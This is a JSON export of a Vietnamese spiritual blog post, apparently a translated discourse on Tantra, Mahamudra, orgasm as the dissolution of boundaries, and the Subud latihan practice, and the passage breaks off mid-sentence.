{"id":4170,"date":"2024-03-28T09:17:27","date_gmt":"2024-03-28T02:17:27","guid":{"rendered":"https:\/\/reikivietnam.org\/wordpress\/?p=4170"},"modified":"2024-12-21T00:20:15","modified_gmt":"2024-12-20T17:20:15","slug":"tu-dac-khi-toi-dai-thu-an","status":"publish","type":"post","link":"https:\/\/reikivietnam.org\/?p=4170","title":{"rendered":"T\u1eeb \u0111\u1eafc kh\u00ed t\u1edbi \u0110\u1ea1i th\u1ee7 \u1ea5n"},"content":{"rendered":"<p>Tantra d\u00e0nh cho m\u1ecdi ng\u01b0\u1eddi. N\u00f3 kh\u00f4ng d\u00e0nh cho v\u00e0i ng\u01b0\u1eddi \u0111\u01b0\u1ee3c ch\u1ecdn. N\u00f3 tr\u1edf th\u00e0nh con \u0111\u01b0\u1eddng cho v\u00e0i ng\u01b0\u1eddi \u0111\u01b0\u1ee3c ch\u1ecdn v\u00ec m\u1ecdi ng\u01b0\u1eddi s\u1ebd kh\u00f4ng hi\u1ec3u n\u00f3, nh\u01b0ng n\u00f3 kh\u00f4ng d\u00e0nh cho v\u00e0i ng\u01b0\u1eddi \u0111\u01b0\u1ee3c ch\u1ecdn &#8211; n\u00f3 d\u00e0nh cho m\u1ecdi ng\u01b0\u1eddi; n\u00f3 d\u00e0nh cho m\u1ecdi ng\u01b0\u1eddi th\u1ef1c s\u1ef1 l\u1ea5y c\u00fa nh\u1ea3y.<\/p>\n<p>B\u00e2y gi\u1edd c\u1ed1 hi\u1ec3u:<\/p>\n<p><em>Trong \u0110\u1ea1i th\u1ee7 \u1ea5n m\u1ecdi t\u1ed9i c\u1ee7a ng\u01b0\u1eddi ta b\u1ecb thi\u00eau ch\u00e1y; ch\u00fang kh\u00f4ng \u0111\u01b0\u1ee3c l\u00e0m c\u00e2n b\u1eb1ng b\u1edfi h\u00e0nh \u0111\u1ed9ng t\u1ed1t.<\/em><\/p>\n<p><em>Trong \u0110\u1ea1i th\u1ee7 \u1ea5n m\u1ecdi t\u1ed9i c\u1ee7a ng\u01b0\u1eddi ta b\u1ecb thi\u00eau ch\u00e1y<\/em><\/p>\n<p>\u0110\u1ea1i th\u1ee7 \u1ea5n n\u00e0y l\u1eb7p \u0111i l\u1eb7p l\u1ea1i l\u00e0 c\u00e1i g\u00ec? C\u00e1i g\u00ec x\u1ea3y ra? \u0110\u1ea1i th\u1ee7 \u1ea5n l\u00e0 tr\u1ea1ng th\u00e1i c\u1ee7a con ng\u01b0\u1eddi c\u1ee7a b\u1ea1n khi b\u1ea1n kh\u00f4ng t\u00e1ch r\u1eddi kh\u1ecfi c\u00e1i to\u00e0n b\u1ed9. \u0110\u1ea1i th\u1ee7 \u1ea5n gi\u1ed1ng nh\u01b0 c\u1ef1c th\u00edch d\u1ee5c s\u00e2u v\u1edbi c\u00e1i to\u00e0n th\u1ec3.<\/p>\n<p>Khi hai ng\u01b0\u1eddi y\u00eau \u0111ang trong c\u1ef1c th\u00edch d\u1ee5c s\u00e2u, h\u1ecd tan ch\u1ea3y v\u00e0o trong nhau; th\u1ebf th\u00ec \u0111\u00e0n b\u00e0 kh\u00f4ng c\u00f2n l\u00e0 \u0111\u00e0n b\u00e0, \u0111\u00e0n \u00f4ng kh\u00f4ng c\u00f2n l\u00e0 \u0111\u00e0n \u00f4ng. H\u1ecd tr\u1edf th\u00e0nh ch\u1ec9 gi\u1ed1ng nh\u01b0 v\u00f2ng \u00e2m d\u01b0\u01a1ng, \u0111i v\u00e0o trong nhau, g\u1eb7p g\u1ee1 trong nhau, tan ch\u1ea3y, c\u0103n c\u01b0\u1edbc ri\u00eang c\u1ee7a h\u1ecd b\u1ecb qu\u00ean \u0111i. \u0110\u00f3 l\u00e0 l\u00ed do t\u1ea1i sao y\u00eau l\u00e0 \u0111\u1eb9p th\u1ebf. Tr\u1ea1ng th\u00e1i n\u00e0y \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 \u1ea5n, tr\u1ea1ng th\u00e1i n\u00e0y c\u1ee7a giao h\u1ee3p c\u1ef1c th\u00edch s\u00e2u \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 \u1ea5n. V\u00e0 tr\u1ea1ng th\u00e1i cu\u1ed1i c\u00f9ng c\u1ee7a c\u1ef1c th\u00edch v\u1edbi c\u00e1i to\u00e0n th\u1ec3 \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 \u0110\u1ea1i th\u1ee7 \u1ea5n, s\u1ef1 v\u0129 \u0111\u1ea1i c\u1ee7a c\u1ef1c th\u00edch.<\/p>\n<p>C\u00e1i g\u00ec x\u1ea3y ra trong c\u1ef1c th\u00edch, trong c\u1ef1c th\u00edch d\u1ee5c? B\u1ea1n ph\u1ea3i hi\u1ec3u n\u00f3 v\u00ec ch\u1ec9 \u0111i\u1ec1u \u0111 s\u1ebd cho b\u1ea1n ch\u00eca kho\u00e1 cho c\u1ef1c th\u00edch chung cu\u1ed9c. C\u00e1i g\u00ec x\u1ea3y ra? Khi hai ng\u01b0\u1eddi y\u00eau c\u00f3 \u0111\u00f3&#8230; v\u00e0o bao gi\u1edd c\u0169ng nh\u1edb: hai ng\u01b0\u1eddi y\u00eau, kh\u00f4ng ph\u1ea3i v\u1ee3 v\u00e0 ch\u1ed3ng, v\u00ec v\u1edbi v\u1ee3 v\u00e0 ch\u1ed3ng \u0111i\u1ec1u \u0111\u00f3 g\u1ea7n nh\u01b0 kh\u00f4ng bao gi\u1edd x\u1ea3y ra v\u00ec v\u1ee3 v\u00e0 ch\u1ed3ng tr\u1edf n\u00ean ng\u00e0y c\u00e0ng l\u00e0 c\u00e1c vai c\u1ed1 \u0111\u1ecbnh, h\u1ecd kh\u00f4ng tan v\u00e0 ch\u1ea3y. &#8220;Ch\u1ed3ng&#8221; \u0111\u00e3 tr\u1edf th\u00e0nh vai tr\u00f2, &#8220;v\u1ee3&#8221; \u0111\u00e3 tr\u1edf th\u00e0nh vai tr\u00f2. H\u1ecd di\u1ec5n. V\u1ee3 ph\u1ea3i di\u1ec5n l\u00e0 v\u1ee3 d\u00f9 c\u00f4 \u1ea5y th\u00edch hay kh\u00f4ng; ch\u1ed3ng ph\u1ea3i di\u1ec5n nh\u01b0 ch\u1ed3ng. \u0110i\u1ec1u \u0111\u00f3 \u0111\u00e3 tr\u1edf th\u00e0nh th\u1ee9 h\u1ee3p ph\u00e1p.<\/p>\n<p>M\u1ed9t l\u1ea7n t\u00f4i h\u1ecfi Mulla Nasruddin, &#8220;Anh \u0111\u00e3 l\u1ea5y v\u1ee3 bao nhi\u00eau n\u0103m r\u1ed3i, Nasruddin?&#8221;<\/p>\n<p>Anh \u1ea5y n\u00f3i, &#8220;Hai m\u01b0\u01a1i n\u0103m l\u1ebb.&#8221;<\/p>\n<p>Th\u1ebf l\u00e0 t\u00f4i h\u1ecfi, &#8220;Sao anh g\u1ecdi ch\u00fang l\u00e0 &#8216;l\u1ebb&#8217;?&#8221;<\/p>\n<p>Anh \u1ea5y n\u00f3i, &#8220;Khi \u00f4ng g\u1eb7p v\u1ee3 t\u00f4i \u00f4ng s\u1ebd hi\u1ec3u.&#8221;<\/p>\n<p>V\u1ee3 v\u00e0 ch\u1ed3ng l\u00e0 hi\u1ec7n t\u01b0\u1ee3ng x\u00e3 h\u1ed9i&#8230; l\u00e0 th\u1ec3 ch\u1ebf, n\u00f3 kh\u00f4ng ph\u1ea3i l\u00e0 quan h\u1ec7. N\u00f3 l\u00e0 th\u1ec3 ch\u1ebf; n\u00f3 l\u00e0 hi\u1ec7n t\u01b0\u1ee3ng c\u01b0\u1ee1ng \u00e9p &#8211; kh\u00f4ng v\u00ec y\u00eau, nh\u01b0ng v\u00ec c\u00e1c l\u00ed do kh\u00e1c: an ninh kinh t\u1ebf, an to\u00e0n, con c\u00e1i, x\u00e3 h\u1ed9i, v\u0103n ho\u00e1, m\u1ecdi th\u1ee9 kh\u00e1c ngo\u1ea1i tr\u1eeb y\u00eau.<\/p>\n<p>C\u1ef1c th\u00edch g\u1ea7n nh\u01b0 kh\u00f4ng bao gi\u1edd x\u1ea3y ra gi\u1eefa v\u1ee3 v\u00e0 ch\u1ed3ng &#8211; tr\u1eeb phi h\u1ecd c\u0169ng l\u00e0 nh\u1eefng ng\u01b0\u1eddi y\u00eau. \u0110i\u1ec1u \u0111\u00f3 l\u00e0 c\u00f3 th\u1ec3: b\u1ea1n c\u00f3 th\u1ec3 l\u00e0 v\u1ee3 hay ch\u1ed3ng v\u00e0 ng\u01b0\u1eddi y\u00eau; b\u1ea1n c\u00f3 th\u1ec3 y\u00eau v\u1ee3 b\u1ea1n. Th\u1ebf th\u00ec n\u00f3 l\u00e0 kh\u00e1c to\u00e0n b\u1ed9, nh\u01b0ng th\u1ebf th\u00ec n\u00f3 kh\u00f4ng ph\u1ea3i l\u00e0 h\u00f4n nh\u00e2n ch\u00fat n\u00e0o, n\u00f3 kh\u00f4ng c\u00f2n l\u00e0 th\u1ec3 ch\u1ebf.<\/p>\n<p>\u1ede ph\u01b0\u01a1ng \u0110\u00f4ng, v\u00ec h\u00f4n nh\u00e2n \u0111\u00e3 t\u1ed3n t\u1ea1i trong h\u00e0ng ngh\u00ecn n\u0103m, m\u1ecdi ng\u01b0\u1eddi \u0111\u00e3 qu\u00ean ho\u00e0n to\u00e0n c\u1ef1c th\u00edch l\u00e0 g\u00ec. T\u00f4i \u0111\u00e3 kh\u00f4ng b\u1eaft g\u1eb7p m\u1ed9t ng\u01b0\u1eddi \u0111\u00e0n b\u00e0 \u1ea4n \u0110\u1ed9 n\u00e0o bi\u1ebft c\u1ef1c th\u00edch l\u00e0 g\u00ec. M\u1ed9t s\u1ed1 \u0111\u00e0n b\u00e0 ph\u01b0\u01a1ng T\u00e2y, ch\u1ec9 trong v\u00f2ng v\u00e0i n\u0103m, nh\u1eefng n\u0103m hai m\u01b0\u01a1i nh\u0103m tu\u1ed5i, \u0111\u00e3 tr\u1edf n\u00ean nh\u1eadn bi\u1ebft r\u1eb1ng c\u1ef1c th\u00edch l\u00e0 c\u00e1i g\u00ec \u0111\u00f3 \u0111\u00e1ng \u0111\u1ea1t t\u1edbi; b\u1eb1ng kh\u00f4ng, \u0111\u00e0n b\u00e0 \u0111\u00e3 ho\u00e0n to\u00e0n qu\u00ean r\u1eb1ng h\u1ecd c\u00f3 b\u1ea5t k\u00ec kh\u1ea3 n\u0103ng n\u00e0o v\u1ec1 c\u1ef1c th\u00edch b\u00ean trong th\u00e2n th\u1ec3 h\u1ecd.<\/p>\n<p>\u0110\u00e2y l\u00e0 m\u1ed9t trong nh\u1eefng \u0111i\u1ec1u kh\u00f4ng may nh\u1ea5t c\u00f3 th\u1ec3 \u0111\u00e3 x\u1ea3y ra cho nh\u00e2n lo\u1ea1i. V\u00e0 khi \u0111\u00e0n b\u00e0 kh\u00f4ng th\u1ec3 c\u00f3 c\u1ef1c th\u00edch, \u0111\u00e0n \u00f4ng th\u1ef1c s\u1ef1 kh\u00f4ng th\u1ec3 c\u00f3 n\u00f3, v\u00ec c\u1ef1c th\u00edch l\u00e0 vi\u1ec7c tan ch\u1ea3y c\u1ee7a hai ng\u01b0\u1eddi. Ch\u1ec9 hai ng\u01b0\u1eddi, khi h\u1ecd tan ch\u1ea3y v\u00e0o trong nhau, c\u00f3 th\u1ec3 c\u00f3 n\u00f3. N\u00f3 kh\u00f4ng ph\u1ea3i l\u00e0 c\u00e1i m\u00e0 ng\u01b0\u1eddi n\u00e0y c\u00f3 th\u1ec3 c\u00f3 v\u00e0 ng\u01b0\u1eddi kia c\u00f3 th\u1ec3 kh\u00f4ng c\u00f3 &#8211; \u0111i\u1ec1u \u0111\u00f3 l\u00e0 kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c. Ph\u00e1t ti\u1ebft ra l\u00e0 c\u00f3 th\u1ec3, ph\u00f3ng tinh l\u00e0 c\u00f3 th\u1ec3; l\u00e0m nh\u1eb9 ng\u01b0\u1eddi l\u00e0 c\u00f3 th\u1ec3, nh\u01b0ng kh\u00f4ng c\u00f3 c\u1ef1c th\u00edch. C\u1ef1c th\u00edch l\u00e0 g\u00ec?<\/p>\n<p>C\u1ef1c th\u00edch l\u00e0 tr\u1ea1ng th\u00e1i khi th\u00e2n th\u1ec3 b\u1ea1n kh\u00f4ng c\u00f2n \u0111\u01b0\u1ee3c c\u1ea3m th\u1ea5y nh\u01b0 v\u1eadt ch\u1ea5t; n\u00f3 rung \u0111\u1ed9ng nh\u01b0 n\u0103ng l\u01b0\u1ee3ng, \u0111i\u1ec7n. N\u00f3 rung \u0111\u1ed9ng s\u00e2u s\u1eafc, t\u1eeb ch\u00ednh n\u1ec1n m\u00f3ng, t\u1edbi m\u1ee9c b\u1ea1n ho\u00e0n to\u00e0n qu\u00ean r\u1eb1ng n\u00f3 l\u00e0 th\u1ee9 v\u1eadt ch\u1ea5t. N\u00f3 tr\u1edf th\u00e0nh hi\u1ec7n t\u01b0\u1ee3ng \u0111i\u1ec7n &#8211; v\u00e0 n\u00f3 l\u00e0 hi\u1ec7n t\u01b0\u1ee3ng \u0111i\u1ec7n.<\/p>\n<p>B\u00e2y gi\u1edd c\u00e1c nh\u00e0 v\u1eadt l\u00ed n\u00f3i r\u1eb1ng kh\u00f4ng c\u00f3 v\u1eadt ch\u1ea5t, r\u1eb1ng m\u1ecdi v\u1eadt ch\u1ea5t ch\u1ec9 l\u00e0 d\u00e1ng v\u1ebb; s\u00e2u b\u00ean d\u01b0\u1edbi, c\u00e1i t\u1ed3n t\u1ea1i l\u00e0 \u0111i\u1ec7n, kh\u00f4ng l\u00e0 v\u1eadt ch\u1ea5t. Trong c\u1ef1c th\u00edch, b\u1ea1n \u0111i t\u1edbi t\u1ea7ng s\u00e2u nh\u1ea5t n\u00e0y c\u1ee7a th\u00e2n th\u1ec3 b\u1ea1n n\u01a1i v\u1eadt ch\u1ea5t kh\u00f4ng c\u00f2n t\u1ed3n t\u1ea1i, ch\u1ec9 c\u00f3 c\u00e1c s\u00f3ng n\u0103ng l\u01b0\u1ee3ng; b\u1ea1n tr\u1edf th\u00e0nh n\u0103ng l\u01b0\u1ee3ng \u0111ang nh\u1ea3y m\u00faa, rung \u0111\u1ed9ng. Kh\u00f4ng c\u00f2n b\u1ea5t k\u00ec bi\u00ean gi\u1edbi n\u00e0o v\u1edbi b\u1ea1n &#8211; \u0111\u1eadp r\u1ed9n r\u00e0ng, nh\u01b0ng kh\u00f4ng c\u00f2n l\u00e0 v\u1eadt ch\u1ea5t. V\u00e0 vai tr\u00f2 c\u1ee7a b\u1ea1n c\u0169ng \u0111\u1eadp.<\/p>\n<p>V\u00e0 d\u1ea7n d\u1ea7n, n\u1ebfu h\u1ecd y\u00eau nhau v\u00e0 h\u1ecd bu\u00f4ng xu\u00f4i theo nhau, h\u1ecd bu\u00f4ng xu\u00f4i kho\u1ea3nh kh\u1eafc n\u00e0y c\u1ee7a vi\u1ec7c \u0111\u1eadp, c\u1ee7a rung \u0111\u1ed9ng, c\u1ee7a vi\u1ec7c l\u00e0 n\u0103ng l\u01b0\u1ee3ng, v\u00e0 h\u1ecd kh\u00f4ng s\u1ee3&#8230;. V\u00ec n\u00f3 gi\u1ed1ng nh\u01b0 ch\u1ebft khi th\u00e2n th\u1ec3 m\u1ea5t c\u00e1c bi\u00ean gi\u1edbi, khi th\u00e2n th\u1ec3 tr\u1edf th\u00e0nh gi\u1ed1ng nh\u01b0 ch\u1ea5t h\u01a1i, khi th\u00e2n th\u1ec3 b\u1ed1c h\u01a1i v\u1ec1 m\u1eb7t v\u1eadt ch\u1ea5t v\u00e0 ch\u1ec9 n\u0103ng l\u01b0\u1ee3ng c\u00f2n l\u1ea1i, m\u1ed9t nh\u1ecbp \u0111i\u1ec7u r\u1ea5t tinh t\u1ebf, nh\u01b0ng b\u1ea1n th\u1ea5y b\u1ea3n th\u00e2n b\u1ea1n d\u01b0\u1eddng nh\u01b0 kh\u00f4ng hi\u1ec7n h\u1eefu. Ch\u1ec9 trong y\u00eau s\u00e2u s\u1eafc ng\u01b0\u1eddi ta c\u00f3 th\u1ec3 \u0111i v\u00e0o trong n\u00f3. Y\u00eau l\u00e0 nh\u01b0 ch\u1ebft: b\u1ea1n ch\u1ebft khi c\u00f3 li\u00ean quan t\u1edbi h\u00ecnh \u1ea3nh v\u1eadt ch\u1ea5t c\u1ee7a b\u1ea1n, b\u1ea1n ch\u1ebft khi b\u1ea1n ngh\u0129 b\u1ea1n l\u00e0 th\u00e2n th\u1ec3; b\u1ea1n ch\u1ebft nh\u01b0 th\u00e2n th\u1ec3 v\u00e0 b\u1ea1n ti\u1ebfn ho\u00e1 nh\u01b0 n\u0103ng l\u01b0\u1ee3ng, n\u0103ng l\u01b0\u1ee3ng s\u1ed1ng.<\/p>\n<p>V\u00e0 khi v\u1ee3 v\u00e0 ch\u1ed3ng, hay nh\u1eefng ng\u01b0\u1eddi y\u00eau, hay c\u00e1c \u0111\u1ed1i t\u00e1c, b\u1eaft \u0111\u1ea7u rung r\u1ed9ng theo nh\u1ecbp \u0111i\u1ec7u, nh\u1ecbp tim \u0111\u1eadp c\u1ee7a h\u1ecd v\u00e0 th\u00e2n th\u1ec3 tr\u1edf th\u00e0nh c\u00f9ng nhau, n\u00f3 tr\u1edf th\u00e0nh h\u00e0i ho\u00e0 &#8211; th\u1ebf th\u00ec c\u1ef1c th\u00edch x\u1ea3y ra, th\u1ebf th\u00ec h\u1ecd kh\u00f4ng c\u00f2n l\u00e0 hai. \u0110\u00f3 l\u00e0 bi\u1ec3u t\u01b0\u1ee3ng c\u1ee7a \u00e2m v\u00e0 d\u01b0\u01a1ng: \u00e2m \u0111i v\u00e0o trong d\u01b0\u01a1ng, d\u01b0\u01a1ng \u0111i v\u00e0o trong \u00e2m; \u0111\u00e0n \u00f4ng \u0111i v\u00e0o trong \u0111\u00e0n b\u00e0, \u0111\u00e0n b\u00e0 \u0111i v\u00e0o trong \u0111\u00e0n \u00f4ng. B\u00e2y gi\u1edd h\u1ecd l\u00e0 v\u00f2ng tr\u00f2n v\u00e0 h\u1ecd rung \u0111\u1ed9ng c\u00f9ng nhau, h\u1ecd \u0111\u1eadp c\u00f9ng nhau. Tim h\u1ecd kh\u00f4ng c\u00f2n t\u00e1ch r\u1eddi, nh\u1ecbp \u0111\u1eadp c\u1ee7a ch\u00fang kh\u00f4ng c\u00f2n t\u00e1ch r\u1eddi; ch\u00fang \u0111\u00e3 tr\u1edf th\u00e0nh m\u1ed9t giai \u0111i\u1ec7u, s\u1ef1 h\u00e0i ho\u00e0. \u0110\u00f3 l\u00e0 \u00e2m nh\u1ea1c v\u0129 \u0111\u1ea1i nh\u1ea5t c\u00f3 th\u1ec3; m\u1ecdi \u00e2m nh\u1ea1c kh\u00e1c ch\u1ec9 l\u00e0 nh\u1eefng th\u1ee9 m\u1edd nh\u1ea1t khi so v\u1edbi n\u00f3, nh\u1eefng b\u00f3ng h\u00ecnh khi so v\u1edbi n\u00f3.<\/p>\n<p>Rung \u0111\u1ed9ng n\u00e0y c\u1ee7a hai ng\u01b0\u1eddi nh\u01b0 m\u1ed9t l\u00e0 c\u1ef1c th\u00edch. Khi c\u00f9ng m\u1ed9t th\u1ee9 x\u1ea3y ra, kh\u00f4ng v\u1edbi ng\u01b0\u1eddi kh\u00e1c, nh\u01b0ng v\u1edbi to\u00e0n th\u1ec3 s\u1ef1 t\u1ed3n t\u1ea1i, th\u1ebf th\u00ec n\u00f3 l\u00e0 \u0110\u1ea1i th\u1ee7 \u1ea5n, th\u1ebf th\u00ec n\u00f3 l\u00e0 c\u1ef1c th\u00edch v\u0129 \u0111\u1ea1i. N\u00f3 x\u1ea3y ra. T\u00f4i mu\u1ed1n n\u00f3i cho b\u1ea1n c\u00e1ch b\u1ea1n c\u00f3 th\u1ec3 th\u1eed n\u00f3, \u0111\u1ec3 cho \u0110\u1ea1i th\u1ee7 \u1ea5n tr\u1edf th\u00e0nh c\u1ef1c th\u00edch v\u0129 \u0111\u1ea1i, c\u00f3 th\u1ec3.<\/p>\n<p>\u1ede Indonesia, c\u00f3 m\u1ed9t ng\u01b0\u1eddi r\u1ea5t hi\u1ebfm hoi, Bapak Subuh. \u00d4ng \u1ea5y \u0111\u00e3 v\u00f4 t\u00ecnh \u0111i t\u1edbi m\u1ed9t ph\u01b0\u01a1ng ph\u00e1p c\u00f3 t\u00ean l\u00e0 \u0111\u1eafc kh\u00ed (latihan). \u00d4ng \u1ea5y v\u1edb \u0111\u01b0\u1ee3c n\u00f3, nh\u01b0ng \u0111\u1eafc kh\u00ed l\u00e0 m\u1ed9t trong nh\u1eefng ph\u01b0\u01a1ng ph\u00e1p tantra c\u1ed5 nh\u1ea5t. N\u00f3 kh\u00f4ng ph\u1ea3i l\u00e0 hi\u1ec7n t\u01b0\u1ee3ng m\u1edbi; \u0111\u1eafc kh\u00ed l\u00e0 b\u01b0\u1edbc \u0111\u1ea7u ti\u00ean h\u01b0\u1edbng t\u1edbi \u0110\u1ea1i th\u1ee7 \u1ea5n. N\u00f3 cho ph\u00e9p th\u00e2n th\u1ec3 rung \u0111\u1ed9ng, cho ph\u00e9p th\u00e2n th\u1ec3 tr\u1edf th\u00e0nh n\u0103ng l\u01b0\u1ee3ng, phi ch\u1ea5t li\u1ec7u, phi v\u1eadt ch\u1ea5t; cho ph\u00e9p th\u00e2n th\u1ec3 tan ch\u1ea3y v\u00e0 tan bi\u1ebfn c\u00e1c bi\u00ean gi\u1edbi.<\/p>\n<p>Bapak Subuh l\u00e0 ng\u01b0\u1eddi M\u00f4 ha m\u00e9t gi\u00e1o nh\u01b0ng chuy\u1ec3n \u0111\u1ed9ng c\u1ee7a \u00f4ng \u1ea5y \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 &#8220;Subud.&#8221; T\u1eeb \u0111\u00f3 l\u00e0 t\u1eeb Ph\u1eadt gi\u00e1o. &#8220;Subud&#8221; b\u1eaft ngu\u1ed3n t\u1eeb ba t\u1eeb: &#8220;su,&#8221; &#8220;bu,&#8221; &#8220;dha&#8221; &#8211; &#8220;su&#8221; ngh\u0129a l\u00e0 sushila h\u1ea1nh, &#8220;bu&#8221; ngh\u0129a l\u00e0 ph\u1eadt, &#8220;dha&#8221; ngh\u0129a l\u00e0 ph\u00e1p; Subud ngh\u0129a l\u00e0 h\u1ea1nh-ph\u1eadt-ph\u00e1p. Ngh\u0129a c\u1ee7a n\u00f3 l\u00e0: lu\u1eadt v\u1ec1 \u0111\u1ee9c h\u1ea1nh l\u1edbn \u0111\u01b0\u1ee3c d\u1eabn ra t\u1eeb Ph\u1eadt, lu\u1eadt c\u1ee7a Ph\u1eadt v\u1ec1 \u0111\u1ee9c h\u1ea1nh l\u1edbn. \u0110\u00e2y l\u00e0 \u0111i\u1ec1u Tilopa g\u1ecdi l\u00e0 gi\u00e1o hu\u1ea5n l\u1edbn.<\/p>\n<p>\u0110\u1eafc kh\u00ed l\u00e0 \u0111\u01a1n gi\u1ea3n. N\u00f3 l\u00e0 b\u01b0\u1edbc \u0111\u1ea7u ti\u00ean. Ng\u01b0\u1eddi ta ph\u1ea3i \u0111\u1ee9ng th\u1ea3nh th\u01a1i, ch\u00f9ng l\u1ecfng v\u00e0 t\u1ef1 nhi\u00ean. \u0110i\u1ec1u t\u1ed1t l\u00e0 n\u1ebfu b\u1ea1n \u0111\u1ee9ng m\u1ed9t m\u00ecnh v\u00e0 kh\u00f4ng ai c\u00f3 \u0111\u00f3 \u0111\u1ec3 qu\u1ea5y r\u1ed1i b\u1ea1n. \u0110\u00f3ng c\u1eeda ph\u00f2ng l\u1ea1i, \u0111\u1ee9ng m\u1ed9t m\u00ecnh. N\u1ebfu b\u1ea1n c\u00f3 th\u1ec3 t\u00ecm ra ai \u0111\u00f3 \u0111\u00e3 \u0111i v\u00e0o trong \u0111\u1eafc kh\u00ed, s\u1ef1 hi\u1ec7n di\u1ec7n c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 c\u00f3 th\u1ec3 gi\u00fap \u00edch, ch\u00ednh s\u1ef1 hi\u1ec7n di\u1ec7n c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 nh\u01b0 t\u00e1c nh\u00e2n x\u00fac t\u00e1c, ng\u01b0\u1eddi \u0111\u00f3 tr\u1edf th\u00e0nh ng\u01b0\u1eddi m\u1edf ra. Cho n\u00ean ai \u0111\u00f3 \u0111\u00e3 ti\u1ebfn b\u1ed9 ch\u00fat \u00edt c\u00f3 th\u1ec3 m\u1edf b\u1ea1n r\u1ea5t d\u1ec5 d\u00e0ng; b\u1eb1ng kh\u00f4ng, b\u1ea1n c\u0169ng c\u00f3 th\u1ec3 m\u1edf b\u1ea3n th\u00e2n b\u1ea1n. Ch\u00fat \u00edt th\u1eddi gian s\u1ebd \u0111\u01b0\u1ee3c c\u1ea7n, c\u00f3 v\u1eady th\u00f4i. B\u1eb1ng kh\u00f4ng th\u00ec ng\u01b0\u1eddi m\u1edf l\u00e0 t\u1ed1t.<\/p>\n<p>N\u1ebfu ng\u01b0\u1eddi m\u1edf \u0111\u1ee9ng ngay b\u00ean c\u1ea1nh ph\u00eda b\u1ea1n, ng\u01b0\u1eddi \u0111\u00f3 b\u1eaft \u0111\u1ea7u \u0111\u1eafc kh\u00ed c\u1ee7a m\u00ecnh: b\u1ea1n \u0111\u01a1n gi\u1ea3n \u0111\u1ee9ng v\u00e0 n\u0103ng l\u01b0\u1ee3ng c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 b\u1eaft \u0111\u1ea7u \u0111\u1eadp c\u00f9ng b\u1ea1n, n\u0103ng l\u01b0\u1ee3ng c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 b\u1eaft \u0111\u1ea7u \u0111i quanh b\u1ea1n, nh\u01b0 h\u01b0\u01a1ng th\u01a1m ng\u01b0\u1eddi \u0111\u00f3 bao quanh b\u1ea1n &#8211; \u0111\u1ed9t nhi\u00ean b\u1ea1n c\u1ea3m th\u1ea5y \u00e2m nh\u1ea1c. C\u0169ng nh\u01b0 khi c\u00f3 ca s\u0129 hay, hay ai \u0111\u00f3 \u0111ang ch\u01a1i nh\u1ea1c c\u1ee5, b\u1ea1n b\u1eaft \u0111\u1ea7u \u0111\u1eadp ch\u00e2n, hay b\u1ea1n b\u1eaft \u0111\u1ea7u g\u00f5 gh\u1ebf, hay b\u1ea1n b\u1eaft \u0111\u1ea7u \u0111\u1eadp c\u00f9ng n\u00f3 &#8211; h\u1ec7t nh\u01b0 \u0111i\u1ec1u \u0111\u00f3, n\u0103ng l\u01b0\u1ee3ng s\u00e2u b\u00ean trong ng\u01b0\u1eddi \u0111\u00f3 chuy\u1ec3n \u0111\u1ed9ng v\u00e0 to\u00e0n th\u1ec3 c\u0103n ph\u00f2ng v\u00e0 ph\u1ea9m ch\u1ea5t c\u1ee7a c\u0103n ph\u00f2ng \u0111\u01b0\u1ee3c thay \u0111\u1ed5i ngay l\u1eadp t\u1ee9c.<\/p>\n<p>B\u1ea1n \u0111ang kh\u00f4ng l\u00e0m b\u1ea5t k\u00ec c\u00e1i g\u00ec; b\u1ea1n \u0111\u01a1n gi\u1ea3n hi\u1ec7n h\u1eefu \u1edf \u0111\u00f3, ch\u00f9ng l\u1ecfng v\u00e0 t\u1ef1 nhi\u00ean, ch\u1ec9 ch\u1edd \u0111\u1ee3i c\u00e1i g\u00ec \u0111\u00f3 x\u1ea3y ra. V\u00e0 n\u1ebfu th\u00e2n th\u1ec3 b\u1ea1n b\u1eaft \u0111\u1ea7u chuy\u1ec3n \u0111\u1ed9ng, b\u1ea1n ph\u1ea3i cho ph\u00e9p \u0111i\u1ec1u \u0111\u00f3, b\u1ea1n ch\u1ec9 ph\u1ea3i h\u1ee3p t\u00e1c v\u00e0 cho ph\u00e9p. S\u1ef1 h\u1ee3p t\u00e1c ph\u1ea3i kh\u00f4ng tr\u1edf th\u00e0nh qu\u00e1 tr\u1ef1c ti\u1ebfp, n\u00f3 ph\u1ea3i kh\u00f4ng tr\u1edf th\u00e0nh vi\u1ec7c th\u00fac \u0111\u1ea9y; n\u00f3 ph\u1ea3i v\u1eabn c\u00f2n ch\u1ec9 l\u00e0 vi\u1ec7c cho ph\u00e9p. Th\u00e2n th\u1ec3 c\u1ee7a b\u1ea1n b\u1eaft \u0111\u1ea7u b\u1ea5t th\u1ea7n chuy\u1ec3n \u0111\u1ed9ng, d\u01b0\u1eddng nh\u01b0 b\u1ea1n b\u1ecb \u00e1m, d\u01b0\u1eddng nh\u01b0 n\u0103ng l\u01b0\u1ee3ng l\u1edbn t\u1eeb b\u00ean tr\u00ean \u0111\u00e3 gi\u00e1ng l\u00ean b\u1ea1n, d\u01b0\u1eddng nh\u01b0 m\u00e2y \u0111\u00e3 t\u1edbi v\u00e0 bao quanh b\u1ea1n &#8211; v\u00e0 b\u00e2y gi\u1edd b\u1ea1n b\u1ecb \u00e1m b\u1edfi m\u00e2y \u0111\u00f3, v\u00e0 m\u00e2y \u0111ang xuy\u00ean th\u1ea5u v\u00e0o b\u00ean trong th\u00e2n th\u1ec3 b\u1ea1n, v\u00e0 th\u00e2n th\u1ec3 b\u1ea1n b\u1eaft \u0111\u1ea7u l\u00e0m c\u00e1c chuy\u1ec3n \u0111\u1ed9ng. Tay b\u1ea1n \u0111\u01b0\u1ee3c n\u00e2ng l\u00ean, b\u1ea1n l\u00e0m nh\u1eefng chuy\u1ec3n \u0111\u1ed9ng tinh t\u1ebf, b\u1ea1n b\u1eaft \u0111\u1ea7u \u0111i\u1ec7u v\u0169 nh\u1ecf, c\u1eed ch\u1ec9 m\u1ec1m m\u1ea1i; th\u00e2n th\u1ec3 b\u1ea1n \u0111\u01b0\u1ee3c \u0111\u01b0a 